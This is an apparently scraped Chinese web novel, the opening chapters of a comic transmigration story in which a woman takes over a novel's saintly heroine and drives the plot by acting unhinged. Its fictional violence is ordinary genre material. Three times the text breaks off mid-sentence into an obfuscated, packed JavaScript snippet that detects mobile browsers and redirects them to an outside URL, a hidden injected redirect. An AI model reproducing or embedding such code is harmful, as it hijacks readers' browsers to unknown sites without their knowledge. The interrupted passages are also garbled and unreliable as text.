《我当癫婆那些年》 1. 癫起来 西风残照,血食将倾。 叶熙熙立于万人之上,垂眸看少年踩着父兄的骨,拖着染血的绶带,蹒跚到她面前。 “从前负了你的人,如今都已做了刀下鬼。” 听完少年的话,她捧起他近在咫尺的脸,深知这块璞玉已然雕琢成杀器。 从他为了她,向父兄挥刀的那一刻起,他便已是卫述国的灾殃。 殿下,乌泱泱的朝臣长跪不起:“此子阴戾,求国师放下慈悲,举起屠刀!” 叶熙熙,卫述国的一国之师,爱民如子,是卫述的神明。凡民之所欲,她必从之。 少年哀凉地望她,似乎是在等她赐他一个了结。 叶熙熙满目爱怜:“他们容不下你,但你要知道,路是你自己走出来的。” 岁梧怔住,不敢相信她居然无视殿下众臣,站在他这边。 他转悲为欢:“老师教诲的是,孤以后定当竭尽全力,让他们知道孤是一位明君!” 叶熙熙“啪”地给了他一巴掌。 “愚痴。”她冷声道,“他们容不下你,你便灭了他们。” “这是神谕。” “群臣忤逆于你,当诛;百姓忤逆于你,当诛;未来你有了子孙,他们若也敢忤逆于你,一律当诛。” “记住,你是天子。” 岁梧捂着脸,眼前的神明让他感到陌生:“老师,您变了。” 一模一样的脸,还有那早已刻在他心头的眉眼,毋庸置疑就是她。 然而女人一开口,却吐出与从前截然不同的毒刺:“你第一天做君主,我教你不破不立,记住了吗?” 卫述的少年国君点头,不疑有他,立即召兵斩尽殿下臣,血溅四方。 他眼都不眨一下,随即将刀刃对准民众。 卫述国百姓惶惶:“国师大人,救救我们!” 叶熙熙不为所动。 手起刀落,遍野鬼啼。 她冷眼望着夕照下的国土。 【通关失败,一周目世界即将毁灭,请宿主准备进入二周目】 失败了? 叶熙熙叹了一口气。 卫述的子民还在做最后的挣扎,丞相找到她,巴不得给她磕头:“国师大人,君上已经疯了,只有您能救国。” “请您自戕,断了岁梧的气数!” 叶熙熙用看白痴的眼神看着他。 她笑了:“君上没疯。” “君上奉的是神谕。” 而神谕,来自国师本人。 丞相毛骨悚然。 “你们原来的神明已经死了。”叶熙熙缓缓躺下,这是卫述的国土,也是她的墓地,“现在我要做你们所有人的爹。” …… 叶熙熙原本是一个卷生卷死的社畜,每天靠看恶女小说续命。 一个平平无奇的晚上,她点开了一本热度很高的恶女爽文。 简介里写,女主是神仙降世,以国师的身份辅佐君主治国,对凡人形成降维打击,披圣母皮做疯批恶女,一路爽爽爽的打脸虐渣。 结果实物与介绍严重不符:女主被渣男抛弃,不但不虐渣反而卑微挽回;在设定上明明有最高武力值,却被邪神女二和暴君男二轮番虐待;面对凡人子民的无理要求,不但不教他们做人,反而低声下气尽数满足。 叶熙熙气得肝疼,直接快进到大结局。 最后,女主独自一人对抗灾殃,牺牲自己救世了! 然后就这么死了,全文完! 说好的恶女呢?说好的打脸虐渣呢? 评论区高赞:“作者本人就是圣母受虐狂吧。作者把自己写爽了,嗯,怎么不算一种爽文呢?” 怪不得热度这么高,全是骂作者和慕名前来观战的网友。 叶熙熙愤而点赞,没想到一激动,手机咚的一声掉到脸上,疼得她两眼一黑。 再一睁眼,她就来到了一个陌生的空间。 “检测到宿主情绪激动。” “原因:对小说情节极度不满。” “建议:宿主代替主角,写出合理剧情。” 叶熙熙立刻明白自己穿书了。 眼前浮现出一个模糊的人形,边界如流体一般不规则收缩:“宿主你好,我是系统。请宿主改变主角人生轨迹,恢复正确人设。” 叶熙熙:“正确人设?” “原主人设是披皮圣母的疯批恶女,只不过作者在写作过程中背离了初衷。宿主需要进入书里代替主角,贯彻疯批恶女人设,走出合理剧情。” 叶熙熙:“多疯算疯,多恶算恶?” 系统一副公事公办的口吻:“请宿主自行想象。” 叶熙熙“啪”的打了系统一巴掌,没想到那个人形居然是实体,手感很接近真人:“怎么样,够疯够恶吗?” 系统被打懵了:“……” “你听好了,”叶熙熙冷脸,“我现生很忙,明天还要上班,没时间陪你玩穿书游戏。月底我就要升职了,你要是敢耽误我工作,我死也不会放过你。” “……发现天选宿主!”系统突然激动起来。 “人设符合程度:完美。” “智力水平:高等。” “精神承受能力:极强。” 眼前的虚拟空间逐渐淡化,露出头顶一片天穹,还有四周突兀的古建筑。 “宿主放心,异世界的时间流速与现实世界不同,不会耽误宿主第二天上班。只要宿主写出合理结局,就能回到现实世界。” 叶熙熙怒气尚未平息,但现在除了接受现实,别无他法。 现在她就是原书的主角,卫述国的国师少觋。 按照背景设定,女主开局就被男主抛弃,为了寻找男主,下凡做了卫述国的国师。她给这片土地带来丰收和安宁,可是凡人渐渐将她的恩赐视为理所应当,对她予取予求。 老国君和他的三个儿子更是贪得无厌,想要长生不老。女主不仅答应了,还主动献出自己的心头血。 老国君还有一个小儿子叫岁梧,一直暗恋女主,误认为女主取心头血是被逼无奈,于是手刃了自己父兄。 而这位叫作岁梧的少年,此时正提着刀朝叶熙熙走来,刀上的淋淋鲜血滴了一路。 他刚杀完自己的亲爹亲哥,现在是奔着王位来的。 叶熙熙身为卫述的国师,岁梧的老师兼暗恋对象,她的立场至关重要。 按照原书,主角虽然没有阻止岁梧称帝,但是也始终秉持圣母人设,即使后期被他狂虐,也依然想法设法拯救他。 ——只不过主角拯救的方式,是天天跪地以泪洗面,然后劝他做个圣父,爱臣子,爱百姓。 在叶熙熙看来,男二就是个工具人,作者写他暗恋女主,是为了印证女主玛丽苏人设;写女主不惜被虐也要拯救他,是为了凸显女主圣母。 不过最后女主硬是靠眼泪把男主变成了一代明君,这也是让叶熙熙无语的一个槽点。 岁梧在她面前站定,两道灼热的目光打断了她的思绪。 叶熙熙看着眼前青涩的少年,根本没办法把他和那个虐待女主的暴君联系起来。 只能说一句人不可貌相。 她决定了,既然要改写剧情,不如就从现在开始。 叶熙熙直接将疯批恶女人设发挥到极致,怂恿岁梧灭世。 反正按原文逻辑,男主对不起女主,女二男二对不起女主,整个卫述国都对不起女主,不如全都扬了! 然后就发生了开头的一幕。 男二彻底黑化,故事直接进入结局,叶熙熙怀疑自己是最快拿到通关失败的宿主。 回到虚拟空间,系统还没现身,叶熙熙先发现了异常。 空中浮现出一个实时更新的评论区。 “……就这么烂尾了?” “不是说披皮圣母的恶女吗?这恶得也太明显了吧,不过爽倒是挺爽的。” “求后续!” 系统出现在她身边。 “宿主没有把握好人设,导致新故事仓促结局,读者也很不满意。所以这一周目作废,宿主需要进入二周目重开。” 叶熙熙直指疑点:“你先前只说要符合人设,写合理结局,没说要让读者满意啊?” 系统机械解释:“评判结局是否合理,有两个标准,第一,是否符合逻辑;第二,是否让读者满意。” 叶熙熙撸起袖子:“你诈骗是吧?” “最终解释权归系统所有。”系统显然是被她打怕了,立刻跑没了影,“只要宿主立好人设、理清逻辑,写出让读者满意的结局是水到渠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168796|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成的事。” 虚拟空间再次消失,叶熙熙又回到了大殿里。 二周目开始,剧情的车轮缓缓向前行进。 看着熟悉的少年再次一步步朝她走来,叶熙熙陷入沉思。 虽然她很清楚地自己被无良系统诈骗了,但是卷王的肌肉记忆让她立刻思考,怎么做才会有改观。 一身血的岁梧地走到她身边,像小猫一样舔了舔唇边的腥甜。 叶熙熙回过神来,想起一周目的剧情:“从前负了我的人,如今都已做了你的刀下鬼,你就是来告诉我这个?” 少年睁大眼睛,欲言又止。 他对她有爱慕之情,叶熙熙很清楚:“如今老国君已死,膝下只余你一子,你想做什么,谁都拦不住你。” 她的眼神坦率而凌厉,少年别看目光,似是怕她发现自己心中肮脏的念头:“……” 下颌一紧,面前的女子捏住他的脸,强迫他与自己对视:“新君既然喜欢我,为何不敢承认?” 少年瞳孔一震。 叶熙熙称他为“新君”,她不唾弃他弑父杀兄,也不指责他妄想篡位,相反,她唤他为新一任的君王。 她没有错过他脸上的意外与欢喜。 “少觋愿辅佐新君,”她忽然示弱,凝眸切切望向他,想象自己目含秋水,“少觋别无他求,只求新君垂怜。” “你的父君和兄长为求长生,饮我心头血。岁梧,我真的好痛啊……” 她立于万人之上,人们来到她面前,最先想到的是她如何俯瞰凡尘,普度众生;只有他知道,这位为子民遮风挡雨的神,却也是一朵娇花,禁不住风吹与雪压。 她是脆弱的,但这一面只暴露给他一人。 他是特殊的。 少年许是想到了这些,温柔地拥她入怀,句句掷地有声:“孤无能,以前未能保护好熙熙。现在大仇得报,孤也成为卫述的君主,从今以后,这天下再无人敢动你。” 叶熙熙怀疑自己听错了:“你叫我什么?” “觋觋,”少年小心翼翼地,“我可以这么叫您吗,老师?” 她狐疑地盯着少年,不知道是不是自己想多了。 一个书里的角色,会知道她的真名?。 熙与觋读音相似,是她没听清楚也说不定。 “孤恳求老师,不要劝孤去做仁君,”少年哑声道,“仁德救不了卫述。” 叶熙熙当然不会像原主一样,一把鼻滴一把泪逼他做圣父。 但她需要在岁梧践阼之前,重新定位他们之间关系。她不要做他纯洁善良的圣母老师,她要做洞察并驾驭他内心爱欲的掌控者。 ——她想试着改变后面岁梧虐主角的剧情。 “新君要记住自己说过的话,只要您在位一天,便不会叫人把我欺负了去。” 叶熙熙解决完岁梧,接下来打算去解决跪在殿下的群臣。 这些大臣视岁梧为灾殃,拒不承认他的新君身份。 按照原书情节,岁梧在女主的哭求下,只挑了几个最为忤逆的大臣处死,权当杀鸡儆猴。 但是岁梧没有杀尽兴,于是把求情的女主囚禁在地牢,日日折磨。 叶熙熙绝对不会让同样的剧情发生在自己身上。 然而此时此刻,一个不速之客从天而降,闯进了大殿。 “阿觋,我回来了。” 叶熙熙毫无防备,被陌生男人拥入怀中, 岁梧站在一旁,方才还熠熠闪烁的眸子,变成一片死灰。 耳边响起系统的声音:【提示,男主登场,当前攻略进度为0】 男主,少觋的仙侣,同为神仙,从天而降似乎也很符合他的身份。 但叶熙熙十分意外,按照原书,男主是在岁梧即位之后出场的,为什么提前了呢? 而且大臣们还在外面跪着呢,现在怎么看也不适合修罗场吧? “你就是岁梧吧,”男主打量着少年,“谢谢你帮我照顾阿觋,她真的很不容易,苦苦等了我几百年——那时候你还没出生呢。” 岁梧举起血淋淋的刀。 但是叶熙熙动作更快。 她“啪”地给了男主一个巴掌。 一片死寂中,系统发出提示音。 【男主攻略进度增加10】 2. 一起死 纵使叶熙熙有满肚子的疑问,听到系统提示后,赶紧乘胜追击,啪啪又甩了男主两个耳光。 她以前看到过类似的小说,一般渣男抛弃圣母,是因为对方温柔软弱不够带劲,等到圣母变得无情又残忍,这些渣男反而会被吸引,上赶着找抽,然后就是追妻火葬场的桥段。 现在,男主就是被她吸引,上赶着找抽的例子。 要不然他的攻略进度怎么会增加呢? 趁着这个好机会,叶熙熙准备多抽几下,争取把他抽爽,这样还能增加攻略进度。 打第四下的时候,男主挡住她的手,一脸不可思议:“你不是少觋,你是谁?” 一旁的岁梧冷声道:“不是说在孤出生之前就认识了吗,怎么连人都认不出来?” 叶熙熙伸出另一只手,实打实甩了男主一巴掌:“我是你爹。” 【男主攻略进度减2,当前攻略进度为8】 听到系统提示,叶熙熙鄙夷地望着男主:“你一开始不是挺喜欢被打的吗?” 怎么多打几下你还不乐意了? 男主无言以对。 倒是岁梧下意识摸了摸脸,一副若有所思的样子。 不能增加攻略进度,叶熙熙索然无味地收了手,直言自己很忙,让男主从哪儿来的滚哪儿去。 男主出奇地顺从:“等你闲下来,我会去找你的。” 等男主消失之后,岁梧似是下了很大决心:“……觋觋,如果你喜欢,孤也可以。” 叶熙熙还在思考男主提前出现的原因,心不在焉:“可以什么?” “你可以抽孤,”少年乞求道,“不要抽他。” 叶熙熙:“……行了,收收味。” 在少年不太理解的眼神中,她召唤系统,意识进入虚拟空间。 她开门见山:“为什么男主会提前出现?” 系统:“按照原书,岁梧践阼之后,在虐待女主时不小心表明心意,然后男主从天而降,将女主救走,开启修罗场。” 叶熙熙找到关键:“男主登场的契机是岁梧表白?” 原来如此,她在岁梧封君前就戳破了他的暗恋小心思,无形中将男主登场的时机提前了。 “第二件事,为什么我要攻略男主?”她皮笑肉不笑,“如果让我知道你又在诈骗,我就宰了你。” 系统:“……攻略男主是支线关卡,不影响主线通关,宿主可以自由选择做或者不做。” “通关支线关卡有什么奖励吗?” 系统思考了一会儿:“可以帮你解锁该角色的隐藏剧情。” 听上去很鸡肋,可以先搁置。 “不过我很好奇,为什么我抽了男主一巴掌,攻略进度却增加了?”虽然不打算攻略男主,但叶熙熙有强迫症,有疑问就要知道答案,“难道真正的男主不是他,是岁梧?” 这是攻略系统小说里常见的乌龙。如果要攻略男主其实是岁梧,那就说得通了。她抽了别的男人,尤其是跟她有亲密联系的男人,岁梧当然高兴,攻略进度会增加也就不奇怪了。 但是还有一个漏洞,攻略任务是在原书男主出场后才触发的,而且初始进度是0。如果岁梧是真正的男主,应该开局就能触发攻略任务,且初始进度应该高一些才对。 系统:“宿主脑洞太大了,男主身份不存在任何疑点。攻略的本质是增加好感度,不止爱情向,也有友情向。” 友情向? 叶熙熙觉得根本说不通,难道她扇完男主巴掌,会让男主产生跟她交朋友的冲动? 她忽然觉得,跟男主比起来,自己或许根本不算一个合格的疯批。 从系统空间里出来,叶熙熙决定先干正事。 她吩咐岁梧:“你就在这站着,一会儿下面发生什么都不要管,能做到吗?” 岁梧点点头,忧心忡忡,不知道她葫芦里买的什么药。 叶熙熙走下台阶,像一颗墨点,融入乌泱泱的群臣之中。她腰间一串不知名的兽骨随之摇晃,居高临下,敲打着所有人的心。 不知道是谁牵头,那句熟悉的话又在她耳边炸开了:“此子阴戾,求国师放下慈悲,举起屠刀!” “卫述的子民啊,我听到了。”叶熙熙朗声道,“岁梧弑父杀兄,丧心病狂,这种禽兽却能做卫述的国君,这是天谴啊!” 一臣子附和:“国师,只有您能救卫述了,无论如何都不能让岁梧践阼啊!” 叶熙熙面色一变,大骂:“混账!” “只有岁梧能做卫述的国君,因为这是天谴!” “天谴,那也是天意!” 众臣大惊:“国师,我卫述哪里得罪了上天,竟遭如此天谴?” 叶熙熙怒目而视:“从古至今,长生不老者,唯有天上神仙。然老国君和三位公子,区区凡人,却妄想长生,这是僭越!为了长生,不惜饮天人血,这是找死!” 原书里,老国君和三个儿子取女主心头血的事不是秘密,大臣们都心照不宣,要不是尊卑有别,他们都想尝尝神仙血的滋味。 “可他们已经被公子岁梧杀了,”一大臣转过弯来,福至心灵,“难道说,公子岁梧是天授的新君?” “混账!” 那大臣被她一吼,吓得低头不敢言。 叶熙熙恨不得抽他:“弑父杀兄,天理难容,你居然敢说这样的君主是天授?这不是打老天的脸吗!” 众大臣:“……那国师以为?” “岁梧践阼已成定局,这是天谴,亦是天意,我们无能为力。”她震声,“但是,我们亦有自己的风骨,这种不忠不孝之人,怎堪做卫述的王?” “哪怕是天意,我们也不从!” “今日,我们不能白来,大家有一个算一个,统统自戕证道,让后人见识见识我们文人的脊梁!” 叶熙熙情绪亢奋,拽过来戍卫,抽出他的佩刀,朝众臣扑过去:“来啊,别害怕,大家一起死,黄泉路上不孤单啊!” 众臣:“……” 国师疯了! “你们跑什么!”她抚着刀背,忽然把刀架在自己脖子上,仰天长笑,“你们以为,我就能干净到哪儿去吗?之前那心头血是我主动给的,神仙犯法,与凡人同罪,我也得向老天请罪,你们不死,我先死!哈哈哈哈哈!” 众臣连跑都不敢跑了,扑通扑通跪下求她:“国师,求您三思啊!如此种种,都不是您的错!” “不是我的错,”叶熙熙放下刀,一脸迷茫,“那是谁的错?” “你们的错?” 众大臣拼命摇头。 “不是你们的错,难道是公子岁梧的错?” 众大臣吓得磕头:“怎么可能,君上如何能有错呢?” “那还废什么话。”叶熙熙“咣啷”一声把刀扔在地上,“都给我回家睡觉去。想留下来证道的自便。” 众臣作鸟兽状散去。叶熙熙拾起刀,想还给戍卫,四下张望没找到人。 拿刀的手忽然被人紧紧握住。 “……觋觋。” 是岁梧。 他低着头,讷讷道:“孤愚钝无能,怎配让你费心至此?” “切勿妄自菲薄,”叶熙熙开口,发现自己嗓子都喊哑了,“你说仁德救不了卫述,但我也也不希望你成为一个暴君。” “如果是你,你打算如何赶走这些反对你的大臣?” “是杀几个做做样子,震慑他人,还是都杀了?” 岁梧不语。 叶熙熙估摸着气氛烘托到位了,反握住他的手,苦口婆心:“但是你看,不用一兵一卒,照样可以劝退群臣,甚至成为他们心中的天命所归。” “我不会强迫你做仁君。” “但我希望你能成为明君。” …… 叶熙熙回到国师府,吨吨吨灌了一壶水。 今天这一通表演太卖力了,她得着实缓几天。 小疯怡情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168797|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大疯伤身啊。 好不容易刚歇下来,不过喘口气的功夫,便听见耳边有人说话。 “又见面了。” 这种不请自来的野路子,除了男主,她想不出第二个。 男主出场即是衣袂压雪,不愧是神仙设定,神清骨秀。 叶熙熙仔细回忆了一下,才想起来男主的名字是枢明。 之所以印象不深,是因为男主通篇都在离家出走玩失踪,戏份寥寥。 她觉得男主也像个工具人,唯二的作用是虐女主,然后凸显女主用情至深的圣母特质。 她朝枢明点点头,示意他:“坐。” 枢明没有动。 “我知道你不是少觋,”他的声音清浅干净,听着很舒服,“不过你是谁,于我而言并不重要。” 叶熙熙等他表明来意。 “我在找一个人,希望你能帮我。” 嘴上说着求人的话,却半点求人的姿态不拿出来。 年轻人这么办事是没有前途的。 “你在外面一待就是几百年,原来一直在找人?”她问。 枢明颔首:“那人与我有过一段孽缘,倘若不尽快斩断,后患无穷。” 除了女主,谁还能和男主有孽缘? 叶熙熙脱口而出:“你不会在找小悲吧?” 小悲,书里的邪神女二。如果她没记错,女二再过几章就会找到女主,然后进行绑架,囚禁,凌辱,虐待一条龙。 妥妥的恶毒女配。 不过她记得书里并没有两女争一男的垃圾桥段,或许这件事背后另有隐情。 枢明惊讶:“小悲来找过你了?” 叶熙熙心道怎么可能,女二要是找上门来,她不死也得扒层皮,哪还能好好坐在这里聊天。 枢明将她的沉默理解为默认:“你也不必担心,既然你不是少觋,小悲就算要寻仇也寻不到你头上。” 他似乎和女二不是很熟,这么看来,他要找的人不是她。 “你先等等,”叶熙熙打断他,“让我缓一会儿。” 说完,她召唤系统,进入虚拟空间。 “这是怎么回事?”她一上来就问,“男主离家出走居然是在找人?这段剧情书里根本没有。” “还有,什么叫我不是少觋,女二就不会找我寻仇了?难道他们都发现我是冒牌货了?这对我完成任务会不会有影响?” 系统刚一开门,就被她一股脑的问题砸中了:“首先,我说过你触发了支线任务,也就是攻略男主。如果你选择开启支线任务,通关之后可以解锁男主的补充剧情。” “现在,男主透露给你他在找人,并且想请你帮忙,这实际上就是支线任务的入口。” “你答应帮忙,就会直接进入支线;当然你也可以拒绝,毕竟这并不影响主线。” “不过支线任务的接取一般都是有时效性的,就比如现在,男主邀请你帮忙找人,如果你拒绝,男主就会自己去找,你会错过这一次机会。等下一次你再见到男主的时候,人家可能已经找到了。” “那样的话,我是不是永远也没有办法解锁补充剧情了?” “是的。” 叶熙熙平常除了看小说,还喜欢玩收集类游戏。强迫症让她无论如何都要保持全图鉴无瑕,否则就弃游。 放到现在也一样。如果这个支线任务是常驻类型的,她可能拖个一年两年都不做,因为她知道任务永远都在那里,什么时候做都来得及。 但是限时任务就不一样了,一旦错过,就是瑕疵,属于是她半夜一想起来就会失眠的那种。 叶熙熙决定接这个任务。 “至于你说的,被识破真实身份的问题,”系统继续说,“其实这本来是不被允许的,但是我看了一下评论区,大家似乎对你的表现十分满意,对你异世界穿越者的身份并不反感。所以,我觉得你可以尽情按照自己的想法走剧情,丝毫不会影响任务的完成度。” 3. 妖仙仇 叶熙熙对系统的夸奖十分受用。 她忽然有些好奇:“怎么感觉你身上的人味变浓了,这几天没少蹲评论区吧?” “系统也是需要不断学习更新的。” 还挺谦虚。 “我还想问你,你还记得原书里,女二为什么要虐女主吗?”叶熙熙记得原书女二一登场就开始折磨女主,但是作者从来没有讲过原因。 难不成女二也是彻头彻尾的工具人,她的存在纯粹是为虐而虐? “这是女二的补充剧情,需要完成相关支线任务后解锁。” 又是支线任务? 叶熙熙问:“那岁梧呢,他是男二,他有没有支线任务?” “当然。”系统答复,“我刚刚给自己更新升级了,支线任务开启的时候,会有提示音,你不用每次都回到系统空间里问我了。” “最近我比较忙,可能不能及时回复你,有问题你先试着自己解决。” 匆匆交代完,叶熙熙被移出了系统空间。 当枢明重新出现在她眼前,耳边提示音适时响起。 【宿主注意,有新的支线任务可接取】 “你之前说让我帮忙找人,”叶熙熙道,“我可以考虑一下。” 枢明温声言谢:“姑娘侠义。” “你先说说,这孽缘是怎么回事?” 她好歹也是女主,男主不但渣了她,还在外面沾花惹草,惹了麻烦就回来找她擦屁股。她要是上来就帮忙,面子往哪儿放? 枢明先是叹了口气,而后娓娓道来:“姑娘可曾听说过妖仙?” “三界之内得道飞升者,人,妖,灵皆有之。成仙不问出处,只要授受仙箓,方可位列仙班。” “但是还有一类,虽然飞升成仙,却出于某些意外未能记名于仙箓,这种仙不被仙庭承认,只能继续游走于凡间。若是成仙前为人,还能落个散仙的雅名;若是灵或妖,便只能做个妖仙。” 经他这么一说,叶熙熙想起来了。原书写男主抛弃女主的时候,解释了男主的身份。 枢明,就是他自己口中的妖仙,他本体是一颗灵草,是从灵修成仙的。 他最开始离家出走,也是为了寻找自己未能入仙箓的原因,只可惜忘记了自己成仙前的种种往事,找了几百年都没有结果。 女主一直劝他抛却前尘,跟她好好过日子,可是枢明根本听不进去。 找寻成仙前的记忆,已经成了他的执念。 叶熙熙把自己知道的部分告诉枢明,然后问:“你先前说要找人,难不成是这个人害你成了妖仙?” “我还未能知晓整件事的来龙去脉,但据我所闻,此人与我有过一段孽缘,为了不让我成仙,不惜亲手划去我在仙箓上的名字。” “所以你想查清真相,然后报仇?” 枢明冷面无情:“一旦成为妖仙,便永世不得进入仙庭,这是我毕生之憾。我会让她付出代价。” 叶熙熙了解完情况,觉得比自己预想中好上不少。 幸亏不是让她去收拾情敌。为了一个男人去对付别的女人,谁干谁下贱。 寻仇嘛,她喜闻乐见。 “这个忙我帮了。” 【已接取支线任务】 【男主攻略进度增加10,当前攻略进度为18】 枢明问道:“我们什么时候动身?” “等岁梧即位之后吧。”叶熙熙必须亲眼看着他坐上王位才安心。 毕竟,卫述国才是她的主线,她必须把这边安顿好,才能去做别的任务。 …… 卫述国以在位君主之名纪年,公子岁梧践阼的这一年,被称为岁梧元年。 完成繁复的即位典仪后,叶熙熙同他辞别。 她刻意隐瞒了枢明的部分,只说自己被仙庭外派出去做任务。 更多的还是嘱咐他行事要掌握分寸:“大臣和百姓对你的态度,不会因为我那日的几句胡话而彻底转变,有些事情还是需要你自己去学,去试。” 在她那一日潸然泪下求怜惜之后,岁梧已经代入了护花使者的身份,紧紧地把她抱在怀里,少年比她高半个头,看上去清瘦,其实一双臂膀可以把她包裹得严严实实。 “老师,”他嗫嚅道,“孤可以吻你吗?” 叶熙熙挑眉,似笑非笑。 这在岁梧眼中,成了拒绝的意思。 “孤不是有意轻薄老师,只是,”声音越来越小,“情难自禁……” 叶熙熙被他纯情的模样逗乐了:“有些事情,想做便做了。你非要说出来,我该怎么回答?” 少年睁大眼睛,不作他想,抚上她的后脑,意欲吻上来—— 结果被她无情推开。 “不行,被你这么一打断,我没感觉了。”叶熙熙轻笑一声,招惹完就潇洒离开,“下次记得少说话,直接上。” 少年羞得快要把脸埋到地里。 “好好守着卫述,等我回来,要看到一切都好好的,明白吗?” 直到她的身影消失在桃枝后,几只喜鹊来了又去,他还驻足在原地,耳边萦绕着她临行前的话。 “等我回来。” …… “你喜欢岁梧?” 告别卫述国,叶熙熙与枢明同行,听他这样问。 “还行。” 其实她还挺中意这孩子的,人年纪大了,难免会被纯情年下吸引啊。 “你确实不是少觋。”枢明道,“她不会玩弄别人的感情。” “你这话说的。”叶熙熙无语,“就好像你多在乎少觋似的,之前离家出走那么些年早干嘛去了。” 枢明无言以对。 二人分别驾着一朵云彩,在穹顶下飞行。这是叶熙熙第一次使用主角的仙术,虽然口诀是枢明现教她现学的,但是效果不错。 “我们这是要去哪儿?”又飞了大概半小时,隔着厚厚的云层,叶熙熙看不出自己身在何地,“是直接去找那个人吗?” 枢明微微摇头:“其实,我没有任何关于她的线索。” 叶熙熙:“……” “对不住。” 这是枢明的最后一句话。 他的身影如云烟般散去,叶熙熙独自留在原地,周围空无一人。 他道歉是几个意思? 一股不祥的寒意涌上心头,渐渐蔓延到她的四肢百骸。 头顶忽然痒痒的,叶熙熙抑制住狂乱的心跳,抬头一看。 一个红衣少女正笑吟吟的看着她,葱指依然在她头顶的发丝中作乱。 “少觋,听说你换芯子了。让我看看是怎么回事。” “你一定不认得我了,”她从背后抱住叶熙熙,柔情蜜意地缠在她肩上,“我是小悲。” “我来找你报仇啦,老师。” …… 叶熙熙被埋入土中之前,拼命向红衣少女解释:“英雄,我真不是少觋,我是来替她走剧情的。” 她只剩一个脑袋露在地上,但是这片土地还在努力吸收她,不把她拽进地心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15168798|165139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不罢休:“之前枢明还说,如果我不是少觋,你寻仇便不会寻到我头上来。” “枢明?”少女拨弄着羽毛般的额发,笑嘻嘻的,“他都把你卖给我啦,你还信他说的话?” 现在全都乱套了。 按照原来的剧情,小悲应该是在男主男二的修罗场结束之后才出场的。 难道是因为男主提前开始了支线剧情,已经意识到自己另有孽缘cp,所以修罗场剧情变成空白,小悲便提前出来了? 现在的叶熙熙孤立无援。系统不回应她的呼救;她空有设定上的最高武力,却败在了一颗凡人脑袋上,除了驾云的口诀,其他一概不知。 她绝望地回忆起原书女主被女二凌虐的细节。 女主被埋进土里之后,被泥巴填满七窍,奈何她是神仙,不呼吸也不会死,便在混沌的堵塞中受尽折磨。裹完一层泥胚,女主便被扔进了窑口,受熊熊烈火烧制,变成一个活瓷像。 惨绝人寰。 他爹的,叶熙熙哪受得了这种罪,管他三七二十一,破口大骂:“丫敢埋你爹,反了你了,个王八羔子我曰你仙人!” “等你爹我出来以后高低得扇你!” 她输出了一通国粹,小悲愣了一下。 她蹲下来,托腮看着叶熙熙留在地面上的一颗脑袋,“我知道你在骂我。不过单论这些话,骂起来好像很解气,光是听到都会很爽。” 叶熙熙:“……那必须的。” “你能帮我骂个人吗?” “说。” 小悲指指头顶:“天道。” 叶熙熙:“……这个有点难度,我怕遭天谴。” 察觉到少女好像没那么迫切要埋她了,叶熙熙赶紧寻找突破口:“你跟少觋到底什么仇什么怨啊?” 小悲抚了抚她的脑瓜顶:“劝你不要知道太多,否则你保不住这颗脑袋。” 没有触发支线任务,叶熙熙失望。 “我确定了,她不是少觋。” 少女话落,枢明一眨眼出现在她面前。 他似乎全程都在旁观,只是隐去了身形,没让叶熙熙发现:“你既已验过,可以告诉我她的下落了吧?” “当然。” 叶熙熙明白自己被当成交易了。 枢明找人是真,请她帮忙是假;她只是枢明用来换取线索的工具。 真不愧是原书作者亲封的渣男,翻脸无情。 失去泥土的桎梏,她从地里爬出来,上去就给了枢明俩耳光。 枢明本可以躲开,但是硬是站着没动,受下她两巴掌。 “实在对不住。”他再次向她道歉,两边脸颊各留下一个泥手印。 “哈哈哈,”小悲爆发出大笑,“枢明,你也有今天!” “羡慕吧?”叶熙熙走到她面前,给她也来了一巴掌,“现在你也有了。” 小悲似是从来没有想过叶熙熙敢打她,整个人都呆住了。 “你跟少觋有恩怨,”叶熙熙笑着咬牙,“我又何尝不是呢?被迫套了她的壳子替她收拾烂摊子,我欠她的?” “我不管你跟她有什么仇,这些与我无关。以后再敢动我,弄不死你。” 小悲轻轻碰了一下她打过的位置,叶熙熙没留手,用的全力,现在她的脸颊已经肿起来了。 但是她没有尖叫,也没有哭,只是喃喃道:“是啊,这些都与你无关。” 【男主支线任务完成度,20%】 【宿主注意,有新的支线任务可接取】 4. 朔漠雪 叶熙熙自认为自己是个脾气臭,没素质的人,在现实世界中也没少发疯创人。 但是被她创到的人,要么骂骂咧咧,要么背后蛐蛐,没有一个待见她的。 狠狠扇了世界一个巴掌,世界反而吻了上来,这种事她还是第一次见。 癫文出癫角,无论是男主还是女二,他们不吃哭天抢地求饶那一套,也不爱讲道理。 他们就喜欢被扇。 只有抽他们,才能推动故事向前发展。 